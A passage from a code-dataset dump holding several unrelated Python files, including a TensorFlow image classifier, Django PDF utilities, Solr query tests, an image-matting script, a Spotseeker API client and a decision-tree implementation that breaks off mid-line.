main():\n conn = pymongo.MongoClient('localhost', 27017)\n db = conn.nlp\n col = db.artist\n\n data = col.find({'tags.value': 'dance'})\n\n if data:\n for i, doc in enumerate(sorted(filter(lambda d: 'rating' in d, data), key=lambda x: -x['rating']['count'])[:10]):\n print(i + 1)\n print(doc)\n print('\\n')\n\nif __name__ == '__main__':\n main()\n","sub_path":"NLP_100knock/chapter7/68.py","file_name":"68.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"562652195","text":"import tensorflow as tf\nimport os\nimport numpy as np\nimport re\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\nclass NodeLookup(object):\n def __init__(self):\n label_lookup_path = 'imagenet_2012_challenge_label_map_proto.pbtxt'\n uid_lookup_path = 'imagenet_synset_to_human_label_map.txt'\n self.node_lookup = self.load(label_lookup_path,uid_lookup_path)\n\n def load(self,label_lookup_path,uid_lookup_path):\n # 加载分类字符串\n proto_as_ascii_lines = tf.gfile.GFile(uid_lookup_path).readlines()\n uid_to_human ={}\n # 一行一行读\n for line in proto_as_ascii_lines:\n # 去掉换行符\n line = line.strip('\\n')\n # 按照\\t 分割\n parse_items = line.split('\\t')\n # 获取分类编号\n uid = parse_items[0]\n # 分类名称\n human_string = parse_items[1]\n # 保存映射\n uid_to_human[uid] = human_string\n\n # 加载分类字符串 分类编号1-1000\n proto_as_ascii = tf.gfile.GFile(label_lookup_path).readlines()\n node_id_to_uid = {}\n for line in proto_as_ascii:\n if line.startswith(' target_class:'):\n # 获取分类1-1000\n taget_class = int(line.split(': ')[1])\n if line.startswith(' target_class_string:'):\n # 获取字符串\n taget_class_string = line.split(': ')[1]\n # 映射\n node_id_to_uid[taget_class] = taget_class_string[1:-2]\n\n node_id_to_name = {}\n for key,val in node_id_to_uid.items():\n # 获取分类名\n name = uid_to_human[val]\n # 建立分类映射关系\n node_id_to_name[key] = name\n return node_id_to_name\n\n # 传入分类编号1-1000返回分类名称\n def id_to_string(self,node_id):\n if node_id not in self.node_lookup:\n return\n return self.node_lookup[node_id]\n\n# 创建一个图来存放训练好的模型\nwith tf.gfile.GFile('D:\\\\Users\\\\kai\\\\PycharmProjects\\\\python_mat\\\\tensorFlow——\\\\inception_model\\\\classify_image_graph_def.pb','rb')as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n tf.import_graph_def(graph_def,name='')\n\nwith tf.Session() as sess:\n softmax_tensor = sess.graph.get_tensor_by_name('softmax:0')\n # 遍历目录\n for root,dirs,files in os.walk('images/'):\n for file in files:\n # 载入图\n image_data = tf.gfile.GFile(os.path.join(root,file),'rb').read()\n predictions = sess.run(softmax_tensor,{'DecodeJpeg/contents:0':image_data})\n # 结果转1维\n predictions = np.squeeze(predictions)\n\n image_path = os.path.join(root,file)\n print(image_path)\n\n # 显示\n img = Image.open(image_path)\n plt.imshow(img)\n plt.axis('off')\n plt.show()\n\n # 排序\n top_k = predictions.argsort()[-5:][::-1]\n node_lookup = NodeLookup()\n for node_id in top_k:\n # 名称\n human_string = node_lookup.id_to_string(node_id)\n # 置信度\n score = predictions[node_id]\n print('%s(score = %.5f)'%(human_string,score))\n print()","sub_path":"tensorFlow_/8-3 图像识别.py","file_name":"8-3 图像识别.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"11699390","text":"'''\n========\npdfutils\n========\n\n- identification (is valid pdf, number of pages),\n- manipulation (barcode stamp)\n- conversion (to PDF/A, to text)\n- creation (from html)\n\n'''\nimport os\nimport subprocess, logging\nfrom binascii import hexlify\nfrom tempfile import TemporaryFile, NamedTemporaryFile\n\nfrom django.conf import settings\nfrom django.template import loader\nfrom django.utils.encoding import smart_bytes\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef pdf_barcodestamp(source, barcode, text=None):\n ''' takes source pdf, stamps a barcode onto every page and output it to dest\n\n :raise IOError: if something goes wrong (including exit errorcode and stderr output attached)\n '''\n barcode_ps = loader.render_to_string('pdf/barcode.ps') + \"\"\"\n gsave\n 20 100 moveto 0.5 0.5 scale 0 rotate\n ({}) () /qrcode /uk.co.terryburton.bwipp findresource exec\n grestore\n \"\"\".format(barcode)\n\n if text:\n barcode_ps += '''\n gsave\n\n % Define the HelveticaLatin1 font, which is like Helvetica, but\n % using the ISOLatin1Encoding encoding vector.\n /Helvetica findfont\n dup length dict\n begin\n {{def}} forall\n /Encoding ISOLatin1Encoding def\n currentdict\n end\n /HelveticaLatin1 exch definefont\n\n /HelveticaLatin1 6 selectfont\n <{}> dup stringwidth pop 132 add 32 exch moveto\n 270 rotate show\n grestore\n '''.format(hexlify(text.encode('latin-1', 'replace')).decode('ascii'))\n\n with NamedTemporaryFile() as pdf:\n p = subprocess.Popen([\n 'gs', '-q', '-dNOPAUSE', '-dBATCH', '-sDEVICE=pdfwrite',\n '-sPAPERSIZE=a4', '-dAutoRotatePages=/None', '-sOutputFile=-', '-c',\n '<> setpagedevice', '-'\n ], stdin=subprocess.PIPE, stdout=pdf, stderr=subprocess.PIPE)\n p.stdin.write(barcode_ps.encode('ascii'))\n p.stdin.close()\n if p.wait():\n raise subprocess.CalledProcessError(p.returncode, 'ghostscript')\n\n stamped = TemporaryFile()\n p = subprocess.check_call(\n ['pdftk', '-', 'stamp', pdf.name, 'output', '-', 'dont_ask'],\n stdin=source, stdout=stamped\n )\n\n stamped.seek(0)\n return stamped\n\n\ndef decrypt_pdf(src):\n decrypted = TemporaryFile()\n popen = subprocess.Popen(['qpdf', '--decrypt', '/dev/stdin', '-'],\n stdin=src, stdout=decrypted, stderr=subprocess.PIPE)\n stdout, stderr = popen.communicate()\n if popen.returncode in (0, 3): # 0 == ok, 3 == warning\n if popen.returncode == 3:\n logger.warn('qpdf warning:\\n%s', smart_bytes(stderr, errors='backslashreplace'))\n else:\n from ecs.users.utils import get_current_user\n user = get_current_user()\n logger.warn('qpdf error (returncode=%s):\\nUser: %s (%s)\\n%s', popen.returncode, user, user.email if user else 'anonymous', smart_bytes(stderr, errors='backslashreplace'))\n raise ValueError('pdf broken')\n decrypted.seek(0)\n return decrypted\n\n\ndef html2pdf(html):\n p = subprocess.Popen([\n os.path.join(settings.PROJECT_DIR, 'scripts', 'html2pdf.py'),\n '-s', settings.STATIC_ROOT,\n ], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n stdout, stderr = p.communicate(html.encode('utf-8'))\n if p.returncode != 0:\n raise IOError(\n 'html2pdf returned with exit status {}, stderr: {}'.format(\n p.returncode, stderr.decode('utf-8'))\n )\n\n return stdout\n","sub_path":"ecs/utils/pdfutils.py","file_name":"pdfutils.py","file_ext":"py","file_size_in_byte":3610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"355312304","text":"from domain.enums.movie_enums import MovieField\nfrom infra.client.solr.solr_query import (SolrFilterQuery, SolrQuery,\n SolrSortQuery, SortDirection)\n\n\ndef test_solr_filter_query_exact_condition():\n\n # テストデータ\n field = MovieField.FREE_WORD\n value = \"hoge\"\n\n # 検証\n actual = SolrFilterQuery.exact_condition(\n field=field,\n value=value\n )\n expected = SolrFilterQuery(\n field=MovieField.FREE_WORD,\n condition=\"hoge\"\n )\n\n assert actual == expected\n\n\ndef test_solr_filter_query_exact_condition_empty_value():\n\n # テストデータ\n field = MovieField.FREE_WORD\n value = \"\"\n\n # 検証\n actual = SolrFilterQuery.exact_condition(\n field=field,\n value=value\n )\n\n assert actual is None\n\n\ndef test_solr_filter_query_exact_condition_none_value():\n\n # テストデータ\n field = MovieField.FREE_WORD\n value = None\n\n # 検証\n actual = SolrFilterQuery.exact_condition(\n field=field,\n value=value\n )\n\n assert actual is None\n\n\ndef test_solr_filter_query_get_query_string():\n\n # テストデータ\n query = SolrFilterQuery.exact_condition(\n field=MovieField.FREE_WORD,\n value=\"test\"\n )\n\n # 検証\n assert query.get_query_string() == \"free_word:test\"\n\n\ndef test_solr_filter_query_get_query_string_if_condition_is_empty():\n\n # テストデータ\n query = SolrFilterQuery(\n field=MovieField.FREE_WORD,\n condition=\"\"\n )\n\n # 検証\n assert query.get_query_string() is None\n\n\ndef test_solr_filter_query_is_true_if_field_and_condition_exists():\n\n # テストデータ\n query = SolrFilterQuery(\n field=MovieField.FREE_WORD,\n condition=\"hoge\"\n )\n\n # 検証\n assert query\n\n\ndef test_solr_filter_query_is_false_if_field_nor_condition_does_not_exist():\n\n # テストデータ\n query = SolrFilterQuery(\n field=MovieField.FREE_WORD,\n condition=\"\"\n )\n\n # 検証\n assert not query\n\n\ndef test_solr_sort_query_get_query_string():\n\n # テストデータ\n query = SolrSortQuery(\n field=MovieField.POPULARITY,\n direction=SortDirection.ASC\n )\n\n # 検証\n assert query.get_query_string() == \"popularity asc\"\n\n\ndef test_solr_query_get_query_string():\n\n # テストデータ\n query = SolrQuery(\n fq=[\n SolrFilterQuery.exact_condition(field=MovieField.FREE_WORD, value=\"test1\"),\n SolrFilterQuery.exact_condition(field=MovieField.MOVIE_ID, value=\"test2\")\n ],\n fl=[\n MovieField.FREE_WORD,\n MovieField.MOVIE_ID\n ],\n start=0,\n rows=10,\n sort=[\n SolrSortQuery(field=MovieField.POPULARITY, direction=SortDirection.ASC),\n SolrSortQuery(field=MovieField.MOVIE_ID, direction=SortDirection.DESC)\n ]\n )\n\n # 検証\n actual = query.get_query_string()\n expected = \"q=*:*&start=0&rows=10&fq=free_word:test1&fq=movie_id:test2&fl=free_word,movie_id&sort=popularity asc,movie_id desc\"\n\n assert actual == expected\n","sub_path":"src/tests/units/test_solr_query.py","file_name":"test_solr_query.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"269740431","text":"# import\n\nfrom PIL import Image\nimport numpy as np\n\npic_name = ['man1', 'man2', 'man3', 'man4', 'man5', 'man6', 'woman1', 'woman2']\nimage_base = 'E:/MSRA/code/data/'\ndirectory = ['people/', 'people_seg/', 'people_alpha/', 'people_trimap/', 'matting/', 'background/', 'new_image/']\nbg = ['1', '2', '3', '4', '5', '6', '7', '8', '9']\n\n# choose a piture\n\ndef image_matting(fg_path, bg_path, alpha_path, out_path):\n fg = Image.open(fg_path)\n bg = Image.open(bg_path)\n alpha = Image.open(alpha_path)\n fg_w, fg_h = fg.size\n bg_w, bg_h = bg.size\n # Image crop 函数 对背景图进行裁剪 (left, low, right, up)\n bg.show()\n\n mid_w = int(0.5*bg_w)\n mid_h = int(0.5*bg_h)\n left = mid_w - int(0.5 * fg_w)\n right = mid_w + int(0.5 * fg_w)\n up = mid_h + int(0.5 * fg_h)\n low = mid_h - int(0.5 * fg_h)\n crop_bg = bg.crop((left, low, right, up))\n crop_bg.show()\n resized_bg = crop_bg.resize((fg_w, fg_h))\n resized_bg.show()\n\n alpha = alpha\n\n np_alpha = np.array(alpha)/255\n np_fg = np.array(fg)\n np_bg = np.array(resized_bg)\n np_alpha = np.expand_dims(np_alpha, 2).repeat(3, axis=2)\n output = np.multiply(np_fg, np_alpha) + np.multiply(np_bg, (1-np_alpha))\n output_im = Image.fromarray(np.uint8(output)).convert('RGB')\n output_im.show()\n output_im.save(out_path)\n return output_im\n\n\n\n\nif __name__ == \"__main__\":\n\n pic_num = 3\n bg_num = 7\n fg_path = image_base + directory[0] + pic_name[pic_num] + '.png'\n bg_path = image_base + directory[5] + bg[bg_num] + '.png'\n alpha_path = image_base + directory[4] + pic_name[pic_num] + '.png'\n out_path = image_base + directory[6] + pic_name[pic_num] + '_bg_' + bg[bg_num] + '.png'\n x = image_matting(fg_path, bg_path, alpha_path, out_path)\n x.show()","sub_path":"semantic segmentation/new_image.py","file_name":"new_image.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"169596967","text":"# Copyright 2022 UW-IT, University of Washington\n# SPDX-License-Identifier: Apache-2.0\n\n\"\"\"\nThis is the interface for interacting with the Spotseeker Server REST API\n\"\"\"\n\nfrom restclients_core.exceptions import DataFailureException\nfrom uw_spotseeker.dao import Spotseeker_DAO\nfrom uw_spotseeker.models import (Spot,\n SpotType,\n SpotImage,\n ItemImage,\n SpotItem,\n SpotAvailableHours,\n SpotExtendedInfo)\nfrom uw_spotseeker.exceptions import InvalidSpotID\nfrom commonconf import settings\nfrom commonconf.exceptions import NotConfigured\nimport json\nimport dateutil.parser\nimport re\nimport six\nimport datetime\nimport requests\nimport mock\nfrom requests_oauthlib import OAuth1\n\ntry:\n from urllib import urlencode\nexcept ImportError:\n from urllib.parse import urlencode\n\n\nclass Spotseeker(object):\n\n def post_image(self, spot_id, image):\n url = \"api/v1/spot/%s/image\" % spot_id\n implementation = Spotseeker_DAO().get_implementation()\n\n if implementation.is_mock():\n response = Spotseeker_DAO().putURL(url, {})\n content = response.data\n return content\n else:\n try:\n headers = {\"X-OAuth-User\": settings.OAUTH_USER}\n auth = OAuth1(settings.SPOTSEEKER_OAUTH_KEY,\n settings.SPOTSEEKER_OAUTH_SECRET)\n full_url = settings.RESTCLIENTS_SPOTSEEKER_HOST + \"/\" + url\n files = {'image': ('image.jpg', image)}\n\n response = requests.post(full_url,\n files=files,\n auth=auth,\n headers=headers)\n if response.status_code != 201:\n raise DataFailureException(url,\n response.status_code,\n response.content)\n except AttributeError:\n raise NotConfigured(\"must set OAUTH_ keys in settings\")\n\n def delete_image(self, spot_id, image_id, etag):\n url = \"/api/v1/spot/%s/image/%s\" % (spot_id, image_id)\n implementation = Spotseeker_DAO().get_implementation()\n\n if implementation.is_mock():\n response = mock.Mock()\n response.status = 200\n else:\n try:\n headers = {\"X-OAuth-User\": settings.OAUTH_USER,\n \"If-Match\": etag}\n response = Spotseeker_DAO().deleteURL(url, headers)\n content = response.data\n\n except AttributeError:\n raise NotConfigured(\"Must set OAUTH_USER in settings\")\n\n if response.status != 200:\n raise DataFailureException(url, response.status, content)\n\n def post_item_image(self, item_id, image):\n url = \"/api/v1/item/%s/image\" % item_id\n implementation = Spotseeker_DAO().get_implementation()\n\n if implementation.is_mock():\n response = Spotseeker_DAO().putURL(url, {})\n content = response.data\n return content\n else:\n try:\n headers = {\"X-OAuth-User\": settings.OAUTH_USER}\n auth = OAuth1(settings.SPOTSEEKER_OAUTH_KEY,\n settings.SPOTSEEKER_OAUTH_SECRET)\n full_url = settings.RESTCLIENTS_SPOTSEEKER_HOST + url\n files = {'image': ('image.jpg', image)}\n\n r = requests.post(full_url,\n files=files,\n auth=auth,\n headers=headers)\n if r.status_code != 201:\n raise DataFailureException(url, r.status_code, r.content)\n except AttributeError as ex:\n raise NotConfigured(\"Must set OAUTH_ keys in settings\")\n\n def delete_item_image(self, item_id, image_id, etag):\n url = \"/api/v1/item/%s/image/%s\" % (item_id, image_id)\n implementation = Spotseeker_DAO().get_implementation()\n\n if implementation.is_mock():\n response = mock.Mock()\n response.status = 200\n else:\n try:\n headers = {\"X-OAuth-User\": settings.OAUTH_USER,\n \"If-Match\": etag}\n response = Spotseeker_DAO().deleteURL(url, headers)\n content = response.data\n except AttributeError:\n raise NotConfigured(\"Must set OAUTH_USER in settings\")\n if response.status != 200:\n raise DataFailureException(url, response.status, content)\n\n def all_spots(self):\n url = \"/api/v1/spot/all\"\n response = Spotseeker_DAO().getURL(url)\n\n if response.status != 200:\n raise DataFailureException(url, response.status, response.data)\n\n results = json.loads(response.data.decode('utf-8'))\n\n spots = self._spots_from_data(results)\n return spots\n\n def search_spots(self, query_tuple):\n \"\"\"\n Returns a list of spots matching the passed parameters\n \"\"\"\n\n url = \"/api/v1/spot?\" + urlencode(query_tuple)\n\n response = Spotseeker_DAO().getURL(url)\n\n if response.status != 200:\n raise DataFailureException(url, response.status, response.data)\n results = json.loads(response.data.decode('utf-8'))\n\n return self._spots_from_data(results)\n\n def put_spot(self, spot_id, spot_json, etag):\n url = \"/api/v1/spot/%s\" % spot_id\n implementation = Spotseeker_DAO().get_implementation()\n\n if implementation.is_mock():\n response = Spotseeker_DAO().putURL(url, {})\n content = response.data\n else:\n try:\n headers = {\"X-OAuth-User\": settings.OAUTH_USER,\n \"If-Match\": etag}\n response = Spotseeker_DAO().putURL(url,\n headers,\n spot_json)\n content = response.data\n except AttributeError:\n raise NotConfigured(\"Must set OAUTH_USER in settings\")\n\n if response.status != 200:\n raise DataFailureException(url, response.status, content)\n return response, content\n\n def delete_spot(self, spot_id, etag):\n url = \"/api/v1/spot/%s\" % spot_id\n implementation = Spotseeker_DAO().get_implementation()\n\n if implementation.is_mock():\n response = Spotseeker_DAO().deleteURL(url)\n content = response.data\n else:\n try:\n headers = {\"X-OAuth-User\": settings.OAUTH_USER,\n \"If-Match\": etag}\n response = Spotseeker_DAO().deleteURL(url, headers)\n content = response.data\n except AttributeError:\n raise NotConfigured(\"Must set OAUTH_USER in settings\")\n\n if response.status != 200:\n raise DataFailureException(url, response.status, content)\n return response, content\n\n def post_spot(self, spot_json):\n url = \"/api/v1/spot\"\n implementation = Spotseeker_DAO().get_implementation()\n\n if implementation.is_mock():\n response = Spotseeker_DAO().postURL(url)\n content = response.data\n else:\n try:\n headers = {\"X-OAuth-User\": settings.OAUTH_USER,\n \"Content-Type\": \"application/json\"}\n response = Spotseeker_DAO().postURL(url,\n headers,\n spot_json)\n content = response.data\n except AttributeError:\n raise NotConfigured(\"Must set OAUTH_USER in settings\")\n\n if response.status != 201:\n raise DataFailureException(url, response.status, content)\n return response\n\n def get_spot_by_id(self, spot_id):\n self._validate_spotid(spot_id)\n\n url = \"/api/v1/spot/%s\" % spot_id\n response = Spotseeker_DAO().getURL(url)\n\n if response.status != 200:\n raise DataFailureException(url, response.status, response.data)\n return self._spot_from_data(json.loads(response.data.decode('utf-8')))\n\n def get_building_list(self, campus, app_type=None):\n url = \"/api/v1/buildings?extended_info:campus=\" + campus\n if app_type:\n url += \"&extended_info:app_type=\" + app_type\n\n response = Spotseeker_DAO().getURL(url)\n\n if response.status != 200:\n raise DataFailureException(url, response.status, response.data)\n return json.loads(response.data.decode('utf-8'))\n\n def _spots_from_data(self, spots_data):\n return [self._spot_from_data(spot_data) for spot_data in spots_data]\n\n def _spot_from_data(self, spot_data):\n spot = Spot()\n\n spot.spot_id = spot_data[\"id\"]\n spot.name = spot_data[\"name\"]\n spot.uri = spot_data[\"uri\"]\n spot.latitude = spot_data[\"location\"][\"latitude\"]\n spot.longitude = spot_data[\"location\"][\"longitude\"]\n spot.height_from_sea_level = \\\n spot_data[\"location\"][\"height_from_sea_level\"]\n spot.building_name = spot_data[\"location\"][\"building_name\"]\n spot.building_description = spot_data[\"location\"].get(\"description\",\n None)\n spot.floor = spot_data[\"location\"][\"floor\"]\n spot.room_number = spot_data[\"location\"][\"room_number\"]\n spot.capacity = spot_data[\"capacity\"]\n spot.display_access_restrictions = \\\n spot_data[\"display_access_restrictions\"]\n spot.organization = spot_data[\"organization\"]\n spot.manager = spot_data[\"manager\"]\n spot.etag = spot_data[\"etag\"]\n spot.external_id = spot_data[\"external_id\"]\n\n spot.last_modified = dateutil.parser.parse(spot_data[\"last_modified\"])\n spot.spot_types = self._spot_types_from_data(spot_data[\"type\"])\n spot.spot_availability = \\\n self._spot_availability_from_data(spot_data[\"available_hours\"])\n spot.images = self._spot_images_from_data(spot_data[\"images\"])\n spot.extended_info = \\\n self._extended_info_from_data(spot_data[\"extended_info\"])\n spot.items = []\n if \"items\" in spot_data and len(spot_data[\"items\"]) > 0:\n spot.items = self._items_from_data(spot_data[\"items\"])\n\n return spot\n\n def _items_from_data(self, item_data):\n spot_items = []\n for item in item_data:\n spot_item = SpotItem()\n spot_item.item_id = item[\"id\"]\n spot_item.name = item[\"name\"]\n spot_item.category = item[\"category\"]\n spot_item.subcategory = item[\"subcategory\"]\n spot_item.images = []\n if \"images\" in item and len(item[\"images\"]) > 0:\n spot_item.images = self._item_images_from_data(item[\"images\"])\n spot_item.extended_info = \\\n self._extended_info_from_data(item[\"extended_info\"])\n spot_items.append(spot_item)\n return spot_items\n\n def _item_images_from_data(self, image_data):\n images = []\n\n for image in image_data:\n item_image = ItemImage()\n item_image.image_id = image[\"id\"]\n item_image.url = image[\"url\"]\n item_image.description = image[\"description\"]\n item_image.display_index = image[\"display_index\"]\n item_image.content_type = image[\"content-type\"]\n item_image.width = image[\"width\"]\n item_image.height = image[\"height\"]\n item_image.creation_date = dateutil.parser.parse(\n image[\"creation_date\"])\n item_image.upload_user = image[\"upload_user\"]\n item_image.upload_application = image[\"upload_application\"]\n item_image.thumbnail_root = image[\"thumbnail_root\"]\n\n images.append(item_image)\n\n return images\n\n def _spot_images_from_data(self, image_data):\n images = []\n\n for image in image_data:\n spot_image = SpotImage()\n spot_image.image_id = image[\"id\"]\n spot_image.url = image[\"url\"]\n spot_image.description = image[\"description\"]\n spot_image.display_index = image[\"display_index\"]\n spot_image.content_type = image[\"content-type\"]\n spot_image.width = image[\"width\"]\n spot_image.height = image[\"height\"]\n spot_image.creation_date = dateutil.parser.parse(\n image[\"creation_date\"])\n spot_image.modification_date = \\\n dateutil.parser.parse(image[\"modification_date\"])\n spot_image.upload_user = image[\"upload_user\"]\n spot_image.upload_application = image[\"upload_application\"]\n spot_image.thumbnail_root = image[\"thumbnail_root\"]\n\n images.append(spot_image)\n\n return images\n\n def _spot_availability_from_data(self, avaliblity_data):\n availability = []\n\n for day in avaliblity_data:\n for hours in avaliblity_data[day]:\n available_hours = SpotAvailableHours()\n available_hours.day = day\n available_hours.start_time = self._parse_time(hours[0])\n available_hours.end_time = self._parse_time(hours[1])\n availability.append(available_hours)\n return availability\n\n def _parse_time(self, value):\n time_re = re.compile(\n r'(?P\\d{1,2}):(?P\\d{1,2})'\n r'(?::(?P\\d{1,2})(?:\\.(?P\\d{1,6})\\d{0,6})?)?'\n )\n match = time_re.match(value)\n if match:\n kw = match.groupdict()\n if kw['microsecond']:\n kw['microsecond'] = kw['microsecond'].ljust(6, '0')\n kw = {k: int(v) for k, v in six.iteritems(kw) if v is not None}\n return datetime.time(**kw)\n\n def _spot_types_from_data(self, type_data):\n spot_types = []\n for spot_type in type_data:\n spot_types.append(SpotType(name=spot_type))\n return spot_types\n\n def _validate_spotid(self, spotid):\n if (not type(spotid) is int):\n raise InvalidSpotID\n\n def _extended_info_from_data(self, info_data):\n extended_info = []\n\n for attribute in info_data:\n spot_extended_info = SpotExtendedInfo(key=attribute,\n value=info_data[attribute])\n extended_info.append(spot_extended_info)\n return extended_info\n\n def _get_image(self, image_app_type, parent_id, image_id, width=None):\n if width is not None:\n url = \"/api/v1/%s/%s/image/%s/thumb/constrain/width:%s\" % (\n image_app_type,\n parent_id,\n image_id,\n width)\n else:\n url = \"/api/v1/%s/%s/image/%s\" % (image_app_type,\n parent_id,\n image_id)\n implementation = Spotseeker_DAO().get_implementation()\n if implementation.is_mock():\n response = Spotseeker_DAO().getURL(url)\n content = response.data\n else:\n response = Spotseeker_DAO().getURL(url)\n content = response.data\n\n return response, content\n\n def get_item_image(self, parent_id, image_id, width=None):\n return self._get_image(\"item\", parent_id, image_id, width)\n\n def get_spot_image(self, parent_id, image_id, width=None):\n return self._get_image(\"spot\", parent_id, image_id, width)\n","sub_path":"uw_spotseeker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"412268464","text":"import time\nstart = time.clock()\nimport math\nimport collections\n\n#define node\nclass Node:\n def __init__(self, feature=None, value=None, decision=None, value_list=None):\n self.feature = feature\n #表示在一个feature类中选择哪一个特定的特征\n self.value = value\n #decision = 1预测为真\n self.decision = decision\n self.children_list = list()\n #储存该节点属性对应的取值集合\n self.value_list = value_list\n #用于终止建树的一个边界条件\n self.terminate = False\n\n def print_child_list(self):\n for child in self.children_list:\n child.print_child_list()\n if self.value != None:\n print('value:',self.value, 'choice:', self.decision)\n\nclass Tree:\n def __init__(self):\n self.root = Node()\n\n def add_node(self, all_finished, train_data, feature_num, tmp_root, previous_feature, previous, method):\n '''\n 参数解释:\n all_finished(set):用来判断是否所有数据都划分到了特定的类\n feature_num(int):用来记录特征的个数\n tmp_root(Node):递归建树过程中的临时节点\n previous_feature(set):用来记录满足这条树枝上前面所有条件的数据的索引\n previous(list):用来存储已经加入的特征\n method(str):当前使用的计算模型\n '''\n #若terminate为True,说明已经分完了,终止\n if tmp_root.terminate == True:\n return\n #找到叶子\n if len(tmp_root.children_list) == 0:\n #在这里进行运算,找到最佳的特征\n min_h, index, choice_list = get_best(train_data, feature_num, previous_feature, previous, method)\n #将terminate标志为true\n if min_h == 0:\n tmp_root.terminate = True\n #将已经分好类的数据加入到all_finished中,用于记录\n all_finished |= previous_feature\n \n if tmp_root.feature == None:\n #储存一列中所有的value\n tmp_root.value_list = list(collections.Counter(list(train_data[index])).keys())\n tmp_root.feature = index\n \n #用该特征的取值建立新的叶节点\n for value_index in range(len(tmp_root.value_list)):\n tmp_root.children_list.append(Node(value=tmp_root.value_list[value_index], decision=choice_list[value_index]))\n \n else:\n #如果决策为-1,即表明数据集中没有该类的数据,这个叶节点无效。\n if tmp_root.decision == -1:\n return\n\n #对于当前特征的不同取值的叶节点,递归建树\n for index in range(len(tmp_root.children_list)):\n previous.append(tmp_root.feature)\n self.add_node(all_finished, train_data, feature_num, tmp_root.children_list[index], previous_feature & set(train_data[train_data[tmp_root.feature] == tmp_root.children_list[index].value].index), previous, method)\n #回溯\n previous.pop()\n\n def train(self, train_data, method):\n feature_num = train_data.shape[1] - 1\n #加上列索引\n train_data = train_data.reindex(columns = range(feature_num + 1))\n all_finished = set()\n #两种终止条件,速度好像差不多\n while(len(all_finished) < len(train_data)):\n self.add_node(all_finished, train_data, feature_num, self.root, set(range(len(train_data))), [], method)\n\n def predict_one(self, tmp_root, to_predict, decision_index, result, choice):\n '''\n 参数解释:\n tmp_root:当前叶节点\n to_predict:需要验证的数据\n decision_index:数据中结果的索引\n result:预测结果(两种,计算准确率时即加1,预测时即直接添加结果)\n choice:用于标记是要计算准确率还是直接预测结果。\n '''\n #如果已经到达叶节点\n if len(tmp_root.children_list) == 0:\n #选择是训练还是预测\n if choice == 'train':\n result[0] += int(tmp_root.decision == to_predict[decision_index])\n elif choice == 'predict':\n result.append(tmp_root.decision)\n return\n\n for child in tmp_root.children_list:\n #如果当前节点的特征取值与需预测的数据相同\n if child.value == to_predict[tmp_root.feature]:\n #如果不需匹配其他特征\n if child.decision == -1:\n if choice == 'train':\n result[0] += int(tmp_root.decision == to_predict[decision_index])\n elif choice == 'predict':\n result.append(tmp_root.decision)\n return\n #需要进一步匹配其他特征的取值\n self.predict_one(child, to_predict, decision_index, result, choice)\n\n def predict_all(self, test_data, result, choice):\n decision_index = test_data.shape[1] - 1\n test_data = test_data.reindex(columns = range(decision_index + 1))\n for tmp_data_index in range(len(test_data)):\n self.predict_one(self.root, test_data.loc[tmp_data_index], decision_index, result, choice)\n \n def pridict(self, test_data, choice):\n if choice == 'train':\n result = [0]\n elif choice == 'predict':\n result = list()\n else:\n print('Unknown choice')\n return\n self.predict_all(test_data, result, choice)\n return result\n\n def print_tree(self):\n self.root.print_child_list()\n\ndef H(probability):\n if probability == 1 or probability == 0:\n return 0\n return (-1 * probability * math.log(probability, 2)) - (1 - probability) * math.log(1 - probability, 2)\n\ndef gini(probability):\n return probability * (1 - probability)\n\n#在这里加入别的计算方法\ndef get_h(train_data, feature_index, min_h, best_index, best_choice_list, previous_feature, feature_num, method):\n '''\n 参数解释:\n feature_index:特征的序号\n min_h(float):用于记录特征选择过程中,最小的指标(信息增益等)\n best_choice_list:用来记录该特征各取值最后的决策\n previous_feature(set):用来记录满足这条树枝上前面所有条件的数据的索引\n feature_num(int):用来记录特征的个数\n method(str):当前使用的计算模型\n '''\n feature_h = 0\n value_count = collections.Counter(list(train_data[feature_index]))\n choice_list = list()\n for value in value_count.keys():\n #计算特征为当前value时,结果为1的总数\n #index 使用set来获得 每次将新的集合与旧的求交集\n index_list = previous_feature & set(train_data[train_data[feature_index] == value].index)\n #如果没有该类别的元素,将选择置为-1,以便之后处理\n if len(index_list) == 0:\n choice_list.append(-1)\n continue\n #计算1的个数\n tmp_true_count = train_data[feature_num][index_list].sum()\n #取0,1中出现次数多的\n choice_count = max(len(index_list) - tmp_true_count, tmp_true_count)\n #True为1 False为0\n choice_list.append(choice_count == tmp_true_count)\n #之前的计算公式有错,进行了修改\n tmp_probability = float( choice_count / len(index_list) )\n if method == 'CART':\n feature_h += float(len(index_list) / len(previous_feature)) * gini(tmp_probability) \n else:\n feature_h += float(len(index_list) / len(previous_feature)) * H(tmp_probability)\n '''\n 信息增益率\n '''\n if method == 'C4.5':\n splitinfo = 0\n for i in value_count.keys():\n tmp_probability = float(value_count[i])/len(data)\n splitinfo += tmp_probability * math.log(tmp_probability, 2)\n feature_h /= -1 * splitinfo\n #判断当前的特征是否更佳\n if feature_h < min_h:\n best_choice_list = list(choice_list)\n min_h = feature_h\n best_index = feature_index\n return min_h, best_index, best_choice_list\n\ndef get_best(train_data, feature_num, previous_feature, previous, method):\n best_choice_list = list()\n min_h = 10\n best_index = None\n for feature_index in range(feature_num):\n if feature_index not in [previous_index for previous_index in previous]:\n min_h, best_index, best_choice_list = get_h(train_data, feature_index, min_h, best_index, best_choice_list, previous_feature, feature_num, method)\n return min_h, best_index, best_choice_list\n\ndef k_fold_cross_validation(k, data, method):\n fold_length = int(len(data)/k)\n accuracy = 0\n for i in range(k):\n #处理训练集和验证集\n train_data = 